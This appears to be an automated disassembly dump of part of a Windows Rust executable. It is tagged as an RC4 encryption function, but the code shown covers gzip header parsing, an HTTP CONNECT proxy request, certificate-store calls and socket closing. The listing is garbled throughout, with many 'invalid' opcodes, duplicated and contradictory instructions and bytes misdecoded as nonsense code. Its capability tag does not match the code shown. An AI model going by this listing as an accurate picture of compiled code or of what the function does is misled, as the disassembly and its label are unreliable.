Function at 0x1400e8805
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rax, qword [rsp + 0x28]
cmp byte [rax + 0x10], 0x23
jmp 0x14000fce5
xor eax, eax
jmp 0x14000fce8
cmp byte [rsp + 0x21], 0x23
sete al
add rsp, 0x30
pop rsi
ret
mov byte [rax], al
add byte [rax], al
mov r12, rcx
mov qword [rbp + 0x90], rcx
jmp rdx
add edx, edi
xor eax, eax
mov rsi, qword [rbp + 0x88]
mov rcx, r9
jmp rdx
add edx, edi
xor eax, eax
mov rsi, qword [rbp + 0x88]
mov rcx, r9
jmp rdx
add edx, edi
xor eax, eax
mov rsi, qword [rbp + 0x88]
mov rcx, r9
jmp rdx
add byte [rax], al
rep movsq qword [rdi], qword [rsi]
call 0x1400355aa
mov r13, rax
push 1
pop rax
mov rdx, r13
add rsp, 0x128
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
pop rcx
push rdx
lea r13, [rcx + 0x30]
lea rax, [rcx + 0x18]
mov qword [rbp - 0x10], rax
xor edx, edx
movzx eax, byte [rcx + 0x50]
lea r14, [0x14028b4f0]
movsxd rax, dword [r14 + rax*4]
add rax, r14
jmp rax
test byte [rdi + 0x60], 4
jne 0x140011179
mov r12, qword [rdi + 0x58]
and qword [rdi + 0x58], 0
mov cl, 1
xor edx, edx
call fcn.140011bd7
mov byte [rdi + 0x50], 3
mov qword [rdi + 0x58], r12
mov al, 3
xor edx, edx
movzx eax, al
ror byte [rcx + 0x63], 4
xchg byte [rcx + rax - 0x10], cl
jmp rax
mov dl, byte [rdi + 0x51]
cmp dl, 2
jae 0x1400111b2
movzx edx, dl
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_flate2_1.0.28_srcgzmod.rsgzip_header_field_too_long
mov rcx, rbx
call fcn.140011bed
mov r8, rdx
mov rcx, rsi
mov rdx, rax
call fcn.14001162f
test rax, rax
jne case.0x14001155f.6
add dl, byte [rdi + 0x51]
mov byte [rdi + 0x51], dl
push rcx
jmp 0x14001117c
mov qword [rbp - 8], r13
mov rcx, qword [rdi + 0x58]
test rcx, rcx
je 0x1400111cb
push 2
pop r8
mov rdx, rbx
call fcn.140035550
movzx r12d, word [rbx]
lea r13, [rbp - 0x28]
mov rcx, r13
mov rdx, r12
mov r8b, 1
call fcn.1401c24b1
cmp qword [r13], 0
mov r13, qword [r13 + 8]
jne case.default.0x140011239
mov r15, qword [rbp - 0x18]
mov rcx, qword [rdi]
mov rdx, qword [rdi + 8]
call fcn.14014b0fc
mov qword [rdi], r13
mov qword [rdi + 8], r15
mov qword [rdi + 0x10], r12
mov r15, qword [rdi + 0x58]
and qword [rdi + 0x58], 0
invalid
mov cl, byte [rdi + 0x50]
xor edx, edx
call fcn.140011bd7
mov byte [rdi + 0x50], 2
and word [rdi + 0x52], 0
mov qword [rdi + 0x58], r15
mov al, 2
xor edx, edx
movzx eax, al
movsxd rax, dword [r14 + rax*4]
add rax, r14
add eax, esi
mov r13, qword [rbp - 8]
jmp rax
mov rdx, qword [rbp - 0x18]
mov rcx, r13
call fcn.1401c66e0
movabs rax, 0x8000000000000000
cmp qword [rdi], rax
invalid
je 0x1400112df
movzx edx, word [rbx]
movzx eax, dx
mov r8, qword [rdi + 0x10]
cmp r8, rax
jbe case.0x14000d059.55
mov rcx, qword [rdi + 8]
mov rdx, qword [rdi + 0x10]
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_flate2_1.0.28_srcgzmod.rsgzip_header_field_too_long
mov r8, rax
call fcn.140009092
mov r8, rdx
mov rcx, rsi
mov rdx, rax
call fcn.14001162f
test rax, rax
jne case.0x14001155f.6
add dx, word [rbx]
mov word [rbx], dx
jmp 0x14001125d
mov rcx, qword [rdi + 0x58]
xor r12d, r12d
test rcx, rcx
test ecx, ecx
je 0x1400112b8
mov rdx, qword [rdi + 8]
call fcn.140035550
mov r12, qword [rdi + 0x58]
pop rax
and qword [rdi + 0x58], 0
mov cl, byte [rdi + 0x50]
xor edx, edx
call fcn.140011bd7
mov byte [rdi + 0x50], 3
mov qword [rdi + 0x58], r12
mov al, 3
xor edx, edx
movzx eax, al
movsxd rax, dword [r14 + rax*4]
invalid
add al, 0x86
add rax, r14
jmp rax
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_flate2_1.0.28_srcgzmod.rsgzip_header_field_too_long
call fcn.1401c7290
mov cl, 5
xor r12d, r12d
cmp qword [rdi + 0x58], 0
invalid
je 0x14001134a
mov dl, byte [rdi + 0x51]
cmp dl, 2
jae 0x140011330
movzx edx, dl
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_flate2_1.0.28_srcgzmod.rsgzip_header_field_too_long
mov rcx, rbx
call fcn.140011bed
mov r8, rdx
mov rcx, rsi
mov rdx, rax
call fcn.14001162f
test rax, rax
jne case.0x14001155f.6
add dl, byte [rdi + 0x51]
mov byte [rdi + 0x51], dl
jmp 0x1400112fa
movzx r15d, word [rdi + 0x52]
mov r12, qword [rdi + 0x58]
pop rax
mov rcx, r12
call fcn.14003554c
cmp r15w, ax
jne case.default.0x140011364
mov cl, byte [rdi + 0x50]
mov rdx, r12
call fcn.140011bd7
mov byte [rdi + 0x50], 6
mov al, 6
invalid
xor edx, edx
movzx eax, al
movsxd rax, dword [r14 + rax*4]
add rax, r14
jmp rax
invalid
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp 0x1400355aa
mov dl, byte [rdi + 0x51]
cmp dl, 0xa
jae 0x1400113b8
movzx ecx, dl
lea r9, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_flate2_1.0.28_srcgzmod.rsgzip_header_field_too_long
push 0xa
pop r8
mov rdx, rbx
call fcn.14001ca54
mov r8, rdx
mov rcx, rsi
mov rdx, rax
call fcn.14001162f
test rax, rax
jne case.0x14001155f.6
add dl, byte [rdi + 0x51]
mov byte [rdi + 0x51], dl
jmp 0x14001137e
cmp byte [rdi + 0x52], 0x1f
jne 0x14001145b
cmp byte [rdi + 0x53], 0x8b
jne 0x14001145b
cmp byte [rdi + 0x54], 8
jne 0x14001145b
mov al, byte [rdi + 0x55]
mov byte [rdi + 0x60], al
cmp al, 0x20
jae 0x14001145b
mov ecx, dword [rdi + 0x56]
mov dword [rdi + 0x48], ecx
mov cl, byte [rdi + 0x5b]
pop rbx
mov byte [rdi + 0x4c], cl
test al, 2
jne 0x1400113f5
xor r15d, r15d
jmp 0x140011434
lea r12, [rbp - 0x28]
mov rcx, r12
call fcn.140035535
push 0x18
pop rcx
push 8
pop rdx
call fcn.140008d89
mov rcx, rax
movups xmm0, xmmword [r12]
movups xmmword [rax], xmm0
mov rax, qword [r12 + 0x10]
mov qword [rcx + 0x10], rax
push 0xa
pop r8
mov qword [rbp - 8], rcx
mov rdx, rbx
call fcn.140035550
and byte [rcx + 2], al
add byte [rbx + rcx*4 + 0x7d], cl
clc
mov cl, byte [rdi + 0x50]
mov rdx, qword [rdi + 0x58]
call fcn.140011bd7
xchg edi, eax
invalid
add byte [rax], al
mov dword [rdi + 0x50], 1
mov qword [rdi + 0x58], r15
mov al, 1
add dword [rcx], esi
ror byte [rdi], cl
mov dh, 0xc0
invalid
add dword [rcx], esi
ror byte [rdi], cl
mov dh, 0xc0
invalid
movsxd rax, dword [r14 + rax*4]
add rax, r14
add eax, esi
jmp rax
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp 0x140035599
test byte [rdi + 0x60], 8
je 0x1400114c0
mov r15, qword [rbp - 0x10]
mov rcx, r15
call fcn.140011c04
mov rcx, rsi
mov rdx, r15
call fcn.140011c48
test rax, rax
jne 0x140011561
mov rcx, qword [rdi + 0x58]
test rcx, rcx
je 0x1400114c0
mov rdx, qword [rdi + 0x20]
mov r8, qword [rdi + 0x28]
call fcn.140035550
mov rcx, qword [rdi + 0x58]
lea rdx, [0x14024baf7]
push 1
pop r8
call fcn.140035550
mov r15, qword [rdi + 0x58]
and qword [rdi + 0x58], 0
pop rax
invalid
mov cl, byte [rdi + 0x50]
pop rax
add byte [rdx - 0x2dceafb1], cl
xor edx, edx
xor edx, edx
call fcn.140011bd7
mov byte [rdi + 0x50], 4
mov qword [rdi + 0x58], r15
mov al, 4
xor edx, edx
movzx eax, al
movsxd rax, dword [r14 + rax*4]
add rax, r14
jmp rax
test byte [rdi + 0x60], 0x10
je 0x140011533
mov rcx, r13
call fcn.140011c04
add byte [rax], al
mov rcx, rsi
mov rdx, r13
call fcn.140011c48
test rax, rax
jne 0x140011561
mov rcx, qword [rdi + 0x58]
test rcx, rcx
je 0x140011533
mov rdx, qword [rdi + 0x38]
mov r8, qword [rdi + 0x40]
call fcn.140035550
mov rcx, qword [rdi + 0x58]
mov ecx, dword [rdi + 0x58]
lea rdx, [0x14024baf7]
push 1
pop r8
call fcn.140035550
add al, byte [rax]
mov r15, qword [rdi + 0x58]
and qword [rdi + 0x58], 0
mov cl, byte [rdi + 0x50]
xor edx, edx
invalid
shr al, cl
xchg ecx, eax
invalid
call fcn.140011bd7
mov dword [rdi + 0x50], 5
mov qword [rdi + 0x58], r15
pop rax
mov al, 5
xor edx, edx
invalid
movzx eax, al
movsxd rax, dword [r14 + rax*4]
add rax, r14
jmp rax
mov rdx, rax
mov rax, rdx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
pop rdi
pop rbp
ret
in al, dx
and byte [rax - 0x77], cl
invalid
invalid
cli
add al, 0x48
cmovb eax, ecx
cmp rax, 3
ja case.default.0x1400115e7
invalid
lea rcx, [0x14028b50c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
add rsi, 8
jmp 0x1400115fb
or bl, ch
or al, 0x8a
mov cl, byte [rsi + 0x50]
mov cl, byte [rsi + 0x50]
mov rdx, qword [rsi + 0x58]
call fcn.140011bd7
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp 0x140151826
add rsi, 8
mov rcx, rsi
add rsp, 0x20
pop rsi
jmp fcn.14001ca7a
movabs rax, 0x8000000000000001
cmp qword [rsi + 8], rax
jne case.0x1400115e7.1
add rsp, 0x20
pop rsi
ret
invalid
call fcn.14009d48b
mov rax, qword [r14 + 8]
mov rdx, qword [rax]
mov r8d, dword [rax + 8]
mov byte [rbp + 0x3f], 0
mov rcx, rbx
call fcn.14000bfe0
lea rcx, [0x14028b51c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rbp + 0x28]
mov rdx, qword [rax + 0x10]
lea rbx, [rbp + 0x10]
mov rcx, rbx
call fcn.14000696a
invalid
cmp bh, bh
dec dword [rax - 0x7d]
cmp eax, dword [rax]
jne 0x1400132f1
lea rcx, [rbp + 0x10]
mov rdx, qword [rcx + 8]
mov al, byte [rcx + 0x10]
mov byte [rbp + 0x3e], al
mov qword [rbp + 0x30], rdx
adc byte [r8 - 0x75], r9b
push rcx
or byte [rdx + 0x45881041], cl
mov qword ds:[rbp + 0x30], rdx
add rdx, 0x38
mov r8, rdi
call fcn.14000c0a7
dec dword [rax - 0x7d]
jge 0x140013197
invalid
je 0x140013335
add dword [rax], eax
add byte [rax - 0x75], cl
and byte [r8 - 0x73], r9b
invalid
mov rax, qword [rbp + 0x20]
lea rcx, [rbp - 0x10]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x10]
movaps xmmword [rcx], xmm0
call fcn.140006924
mov rcx, qword [rbp + 0x30]
mov ecx, dword [rbp + 0x30]
mov dl, byte [rbp + 0x3e]
call fcn.14009d48b
mov byte [rsi], 0
jmp 0x140013225
mov rax, qword [rbp + 0x28]
mov rdx, qword [rax + 0x10]
mov edx, dword [rax + 0x10]
lea rbx, [rbp + 0x10]
mov rcx, rbx
call fcn.14000696a
cmp qword [rbx], 0
cmp dword [rbx], 0
jne 0x1400132a9
lea rcx, [rbp + 0x10]
mov rdx, qword [rcx + 8]
or byte [rdx + 0x45881041], cl
mov qword ds:[rbp + 0x30], rdx
or byte [rdx + 0x45881041], cl
mov qword ds:[rbp + 0x30], rdx
add rdx, 0x38
mov r8, rdi
mov eax, edi
call fcn.14000c0a7
cmp qword [rbp + 0x10], 0
je 0x140013327
mov rax, qword [rbp + 0x20]
lea rcx, [rbp - 0x10]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x10]
movaps xmmword [rcx], xmm0
call fcn.140006924
mov rcx, qword [rbp + 0x30]
and byte [r8 - 0x73], r9b
invalid
mov dl, byte [rbp + 0x3e]
call fcn.14009d48b
mov byte [rsi], 1
push 2
pop rax
push 0x20
jmp 0x140013267
lea rdi, [rbp - 0x50]
mov rcx, rdi
call fcn.14000e740
mov rcx, qword [rdi + 0x20]
and byte [r8 - 0x75], r9b
sub byte [r8 - 0x39], r9b
and byte [r10], r8b
add byte [rax], al
add byte [rax - 0x7d], cl
stc
add cl, byte [rdi]
invalid
lea eax, [rax]
add byte [rax], al
and byte [r8 - 0x75], r9b
sub byte [r8 - 0x39], r9b
and byte [r10], r8b
add byte [rax], al
add byte [rax - 0x7d], cl
stc
add cl, byte [rdi]
test byte [rbp + 0xf000000], cl
adc byte [rbp - 0x50], al
movups xmm0, xmmword [rbp - 0x50]
movups xmm1, xmmword [rbp - 0x40]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
mov qword [rsi + 0x20], rcx
push 0x28
pop rcx
mov qword [rsi + rcx], rax
mov byte [rbp + 0x3d], 0
lea rcx, [rbp - 0x50]
call fcn.14000e735
nop
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
mov byte [rbp + 0x3f], 0
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
push 0x28
pop rdx
call fcn.1401c6f30
jmp 0x140013341
mov rax, qword [rbp + 0x18]
mov cl, byte [rbp + 0x20]
lea r8, [rbp - 0x10]
mov qword [r8], rax
mov byte [r8 + 8], cl
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401cf270]
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x140013341
mov byte [rbp + 0x3f], 0
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
call fcn.1401c7290
jmp 0x140013341
mov rax, qword [rbp + 0x18]
mov cl, byte [rbp + 0x20]
lea r8, [rbp - 0x10]
mov qword [r8], rax
mov byte [r8 + 8], cl
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401cf270]
push 0x2b
pop rdx
call fcn.1401c7200
jmp 0x140013341
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
call fcn.1401c7290
jmp 0x140013341
lea rcx, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_std_src_syncmpmczero.rs
call fcn.1401c7290
ud2
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
adc eax, dword [rax]
jmp 0x140017ac1
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x16e8
call fcn.1401c5d60
sub rsp, rax
lea rbp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax + 0x16], esp
add byte [rax], al
invalid
invalid
invalid
dec dword [rbx + rcx*4 + 2]
add byte [rax - 0x39], cl
test dword [rax + 0x16], esp
add byte [rax], al
invalid
mov r9, qword [rdx + 8]
mov ecx, dword [rdx + 8]
test r8, r8
mov r15, r8
cmove r15, r9
stc
movzx eax, byte [r15 + 0x40]
lea r10, [0x14028b52c]
movsxd rax, dword [r10 + rax*4]
add rax, r10
movabs rdi, 0x8000000000000005
add byte [rax], al
add byte [rax], al
invalid
cmp bh, 0xe0
jmp rax
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x72b71f01], al
jmp rax
loopne 0x140017b7c
invalid
xchg ebp, eax
push rax
invalid
lea rdx, [rbp + 0x650]
mov qword [rdx], rdi
jmp 0x140017cc7
mov qword [rbp + 0x1630], rdx
mov qword [rbp + 0x15f8], r9
mov qword [rbp + 0x1618], r8
invalid
mov qword [rbp + 0x1628], rcx
mov ebx, dword [r15 + 0x41]
mov r14b, 1
jmp 0x140017be5
mov qword [rbp + 0x1630], rdx
mov qword [rbp + 0x15f8], r9
mov dword [rbp + 0x15f8], ecx
mov dword [rbp + 0x15f8], ecx
mov qword [rbp + 0x1618], r8
mov qword [rbp + 0x1628], rcx
mov ebx, dword [r15 + 0x41]
mov al, byte [r15 + 0x47]
mov byte [rbp + 0xf82], al
movzx eax, word [r15 + 0x45]
mov word [rbp + 0xf80], ax
add byte [rax], al
mov r13, qword [r15 + 0x48]
movzx r12d, byte [r15 + 0x50]
mov r14b, 2
jmp 0x140017be5
mov qword [rbp + 0x1630], rdx
mov qword [rbp + 0x15f8], r9
mov qword [rbp + 0x1618], r8
mov qword [rbp + 0x1628], rcx
mov r8d, dword [r15 + 0x34]
mov r9d, dword [r15 + 0x38]
mov rcx, qword [r15 + 8]
mov rdx, qword [r15 + 0x10]
call fcn.1401bbf86
mov r13, rax
mov r12, rdx
xor r14d, r14d
lea rsi, [rbp + 0x1230]
mov qword [rsi], rdi
movzx eax, word [rbp + 0xf80]
mov word [rbp + 0x157d], ax
mov al, byte [rbp + 0xf82]
mov byte [rbp + 0x157f], al
mov rcx, rsi
call fcn.14000d2af
mov byte [rbp + 0x1578], r14b
mov dword [rbp + 0x1579], ebx
mov qword [rbp + 0x1580], r13
mov qword [rbp + 0x1588], r12
mov rcx, r15
call fcn.14001abe0
movabs rcx, 0x8000000000000006
mov qword [rsi], rcx
test ax, ax
je 0x140017cb6
mov edi, edx
lea rcx, [rbp + 0x1230]
call fcn.14000d2af
mov rcx, r15
call fcn.14001760e
mov r15, rax
mov rsi, rdx
lea r8, [0x140288cd3]
push 4
pop r9
mov rcx, rax
call fcn.14005a06a
test al, al
je 0x140017cd1
lea rsi, [rbp + 0x1230]
lea rdx, [rbp + 0x1578]
mov rcx, rsi
mov r8d, edi
mov r9, qword [rbp + 0x1630]
call fcn.14001ac29
mov r12, qword [rsi + 8]
cmp r12, 4
jne 0x140017d32
push 5
pop rax
mov r12, qword [rbp + 0x1230]
jmp 0x140017d43
lea rdx, [rbp + 0x630]
mov qword [rdx], rcx
mov rcx, qword [rbp + 0x1628]
call fcn.14001ac08
jmp 0x140018d36
lea r8, [0x140288cd7]
push 5
pop r9
mov rcx, r15
mov rdx, rsi
call fcn.14005a06a
test al, al
je 0x140017d48
lea rsi, [rbp + 0x1230]
lea rdx, [rbp + 0x1578]
mov rcx, rsi
mov r8d, edi
mov rdi, qword [rbp + 0x1630]
mov r9, rdi
call fcn.14001ac29
mov rax, qword [rsi + 8]
mov qword [rbp + 0x1600], rax
cmp rax, 4
jne 0x140017d69
mov r12, qword [rbp + 0x1230]
mov rbx, qword [rbp + 0x1600]
jmp 0x140018086
mov r15, qword [rbp + 0x1230]
mov rdi, qword [rbp + 0x1240]
push 2
pop rax
jmp 0x140018089
movabs rax, 0x8000000000000004
lea rcx, [rbp + 0x1230]
mov qword [rcx], rax
call fcn.140015db3
mov r12, rax
jmp 0x14001808f
mov rax, qword [rbp + 0x1230]
mov qword [rbp + 0x1610], rax
lea rcx, [rbp + 0x7a8]
and qword [rcx], 0
mov word [rcx + 0x2c], 0x501
and qword [rcx + 0x10], 0
mov qword [rcx + 0x18], 8
and qword [rcx + 0x20], 0
mov rax, qword [rbp + 0x1240]
mov qword [rbp + 0x15d0], rax
mov dword [rcx + 0x28], 0x10000
mov rdx, qword [rdi + 0x10]
mov byte [rbp + 0x1650], 1
call fcn.14001c756
lea rax, [rbp + 0xf80]
and qword [rax], 0
mov qword [rax + 8], 1
and qword [rax + 0x10], 0
mov qword [rbp + 0x1260], 0x20
mov byte [rbp + 0x1268], 3
and qword [rbp + 0x1230], 0
and qword [rbp + 0x1240], 0
mov qword [rbp + 0x1250], rax
lea rax, [0x1401cf1c0]
mov qword [rbp + 0x1258], rax
cmp r14b, 2
je 0x140017e2d
movzx eax, r14b
cmp eax, 1
jne 0x140017e87
lea rdx, [rbp + 0x1230]
mov ecx, ebx
call fcn.140029ea0
jmp 0x140017e99
lea rdx, [0x140288be0]
lea rcx, [rbp + 0xf80]
push 1
pop r8
call fcn.14001c8d2
test al, al
jne 0x140019c55
lea rcx, [rbp + 0x1579]
lea r8, [0x1401cf1c0]
lea rdx, [rbp + 0xf80]
call fcn.1401b7ff7
test al, al
jne 0x140019c55
lea rdx, [0x140288be1]
lea rcx, [rbp + 0xf80]
push 1
pop r8
call fcn.14001c8d2
jmp 0x140017e99
lea rcx, [rbp + 0x1230]
mov rdx, r13
mov r8, r12
call fcn.140025500
test al, al
jne 0x140019c55
mov rax, qword [rbp + 0xf80]
mov qword [rbp + 0x15d8], rax
mov rax, qword [rbp + 0xf88]
mov qword [rbp + 0x15e8], rax
mov rbx, qword [rbp + 0xf90]
mov byte [rbp + 0x1658], 1
lea rcx, [rbp + 0x1230]
lea rdx, [rbp + 0x7a8]
call fcn.1400600c6
mov r14, qword [rbp + 0x1230]
mov rdi, qword [rbp + 0x1238]
cmp r14, 2
jne 0x140017f16
mov byte [rbp + 0x1658], 1
mov rcx, rdi
call fcn.140015d51
mov r12, rax
mov rcx, qword [rbp + 0x1610]
call qword [sym.imp.ws2_32.dll_closesocket]
jmp 0x14001803c
movups xmm0, xmmword [rbp + 0x1240]
movups xmmword [rbp + 0xd30], xmm0
lea rsi, [rbp + 0x670]
movabs rax, 0x8000000000000000
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x30], rax
and qword [rsi], 0
mov qword [rsi + 8], 8
and qword [rsi + 0x10], 0
mov qword [rbp + 0xd20], r14
mov qword [rbp + 0xd28], rdi
mov cl, byte [rbp + 0xd3c]
mov dl, byte [rbp + 0xd3d]
call fcn.140060077
mov r8, rdx
mov byte [rbp + 0x165b], 1
mov rcx, rsi
mov rdx, rax
call fcn.14017521b
test r14, r14
je 0x140017fad
mov byte [rbp + 0x165b], 1
mov rcx, rdi
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov byte [rbp + 0x165b], 1
lea rcx, [rbp + 0x670]
mov rdx, rax
call fcn.1401752b6
mov byte [rbp + 0x165b], 1
lea rcx, [rbp + 0x670]
call fcn.140175323
mov r12, rdx
test rax, rax
je 0x1400183a7
mov byte [rbp + 0x1656], 1
lea rcx, [rbp + 0x670]
call fcn.1400072df
mov rcx, qword [rbp + 0x1610]
call qword [sym.imp.ws2_32.dll_closesocket]
lea rcx, [rbp + 0xb00]
lea rdx, [rbp + 0x8e0]
mov r8d, 0xe0
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0x1c8]
lea rdx, [rbp + 0x1230]
mov r8d, 0xe0
call sub.VCRUNTIME140.dll_memcpy
mov rcx, r12
call fcn.140015d51
mov r12, rax
mov byte [rbp + 0x1658], 0
lea rcx, [rbp + 0xd20]
call fcn.14001c879
mov rcx, qword [rbp + 0x15d8]
mov rdx, qword [rbp + 0x15e8]
call fcn.14006095a
mov byte [rbp + 0x1652], 1
mov byte [rbp + 0x1651], 0
lea rcx, [rbp + 0x7a8]
call fcn.14001c81c
mov byte [rbp + 0x164c], 0
mov rbx, qword [rbp + 0x1600]
mov rcx, rbx
mov rdx, qword [rbp + 0x15d0]
call fcn.14015181b
push 5
pop rax
cmp rax, 5
jne 0x1400180a6
mov rax, qword [rbp + 0x1628]
mov qword [rax + 8], r12
mov qword [rax], 5
jmp 0x140018d36
lea rsi, [rbp + 0x408]
lea rdx, [rbp + 0x4f8]
mov r8d, 0xe0
mov rcx, rsi
mov r13, rax
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsi - 0x20], r13
mov qword [rsi - 0x18], r12
mov qword [rsi - 0x10], rdi
mov qword [rsi - 8], r15
mov qword [rsi + 0xe0], rbx
mov qword [rsi + 0xe8], r14
mov r15, qword [rbp + 0x1618]
test r15, r15
mov rsi, qword [rbp + 0x15f8]
je 0x140018300
mov byte [rbp + 0x1655], 1
mov rcx, rsi
call fcn.14001760e
lea r8, [0x140288cd7]
push 5
pop r9
mov rcx, rax
call fcn.1400175ae
test al, al
je 0x140018300
lea rcx, [rbp + 0xd20]
lea rdx, [rbp + 0x3e8]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x1630]
mov r14, qword [rax + 0x10]
mov byte [rbp + 0x165f], 1
mov rcx, rsi
call fcn.1401c0c18
mov rdi, rax
movabs rcx, 0x8000000000000005
mov qword [rbp + 0x14c8], rcx
test rax, rax
je 0x14001831e
mov rbx, rdx
mov byte [rbp + 0x165f], 1
lea rcx, [rbp + 0x14c8]
call fcn.14000d2af
mov qword [rbp + 0x1508], rdi
mov qword [rbp + 0x1510], rbx
mov byte [rbp + 0x165f], 1
mov rcx, rsi
call fcn.14001abe0
mov edi, edx
movabs r8, 0x8000000000000006
mov qword [rbp + 0x14e8], r8
movzx ecx, word [rbp + 0x14f0]
movups xmm0, xmmword [rbp + 0x14f2]
movaps xmmword [rbp + 0x1230], xmm0
mov rdx, qword [rbp + 0x1500]
mov qword [rbp + 0x123e], rdx
test ax, ax
je 0x140018356
mov byte [rbp + 0x165f], 1
lea rcx, [rbp + 0x14e8]
call fcn.14000d2af
mov word [rbp + 0x15e6], di
mov byte [rbp + 0x165f], 1
mov rcx, r15
call fcn.1401c0c18
mov rsi, rax
test rax, rax
je 0x140018480
mov rdi, rdx
mov byte [rbp + 0x165f], 1
lea rcx, [rbp + 0x14c8]
call fcn.14000d2af
mov qword [rbp + 0x1490], rsi
mov qword [rbp + 0x1498], rdi
mov byte [rbp + 0x165f], 1
mov rcx, r15
call fcn.14001abe0
test ax, ax
je 0x1400184c2
mov si, dx
mov byte [rbp + 0x165f], 1
lea rcx, [rbp + 0x14e8]
call fcn.14000d2af
mov word [rbp + 0x15e4], si
lea rax, [rbp + 0x1508]
lea rsi, [rbp + 0xf80]
mov qword [rsi], rax
lea rbx, [fcn.1401c5992]
mov qword [rsi + 8], rbx
lea rax, [rbp + 0x15e6]
mov qword [rsi + 0x10], rax
lea rdi, [0x14002aba0]
lea rax, str.CONNECT__HTTP_1.1_r_n
lea rdx, [rbp + 0x1230]
mov qword [rdx], rax
mov qword [rdx + 8], 3
and qword [rdx + 0x20], 0
mov qword [rsi + 0x18], rdi
mov qword [rdx + 0x10], rsi
mov qword [rdx + 0x18], 2
mov byte [rbp + 0x165f], 1
lea rcx, [rbp + 0xd20]
call fcn.140012109
test rax, rax
je 0x14001875d
mov byte [rbp + 0x165f], 1
mov rcx, rax
call fcn.140015c8d
jmp 0x140018d11
lea rdx, [rbp + 0x3e8]
mov r8d, 0x110
mov rcx, qword [rbp + 0x1628]
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140018d36
mov rax, qword [rbp + 0x14e0]
movups xmm0, xmmword [rbp + 0x14d0]
lea rdx, [rbp + 0x1230]
mov qword [rdx], rcx
movups xmmword [rdx + 8], xmm0
mov qword [rdx + 0x18], rax
mov byte [rbp + 0x165f], 1
mov rcx, qword [rbp + 0x1628]
call fcn.14001ac08
jmp 0x140018d23
lea rdx, [rbp + 0x1230]
mov rax, qword [rdx + 0xe]
mov qword [rbp + 0xf8e], rax
movaps xmm0, xmmword [rdx]
movaps xmmword [rbp + 0xf80], xmm0
movaps xmm0, xmmword [rbp + 0xf80]
movups xmmword [rdx + 0xa], xmm0
mov rax, qword [rbp + 0xf8e]
mov qword [rdx + 0x18], rax
mov qword [rdx], r8
mov word [rdx + 8], cx
mov byte [rbp + 0x165f], 1
mov rcx, qword [rbp + 0x1628]
call fcn.14001ac08
jmp 0x140018d23
movabs rax, 0x8000000000000000
mov qword [rbp + 0xe40], rax
mov word [rbp + 0xe80], 1
and qword [rbp + 0xe70], 0
and qword [rbp + 0xe30], 0
mov qword [rbp + 0x14c8], r12
mov qword [rbp + 0xe58], rax
mov r13, qword [rbp + 0xd30]
mov byte [rbp + 0x165e], 0
mov rcx, r13
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov byte [rbp + 0x165e], 0
lea rcx, [rbp + 0xe30]
mov rdx, rax
call fcn.1401756ca
mov byte [rbp + 0x165e], 0
lea rcx, [rbp + 0xe30]
mov rdx, qword [rbp + 0x15e8]
mov r8, rbx
call fcn.140175529
push 1
pop r15
lea rdi, [rbp + 0xe70]
movzx eax, word [rbp + 0xd38]
mov word [rdi + 0x10], ax
cmp byte [rbp + 0xd3a], 0
je 0x1400184f9
mov byte [rbp + 0x165e], 0
push 0x10
pop rcx
push 8
pop rdx
call fcn.140008d89
mov qword [rax], r15
mov qword [rbp + 0x1608], rax
mov qword [rax + 8], r15
mov rcx, rdi
call fcn.1400074d5
lea rax, fcn.140009390
jmp 0x14001854f
movups xmm0, xmmword [rbp + 0x14d0]
mov rax, qword [rbp + 0x14e0]
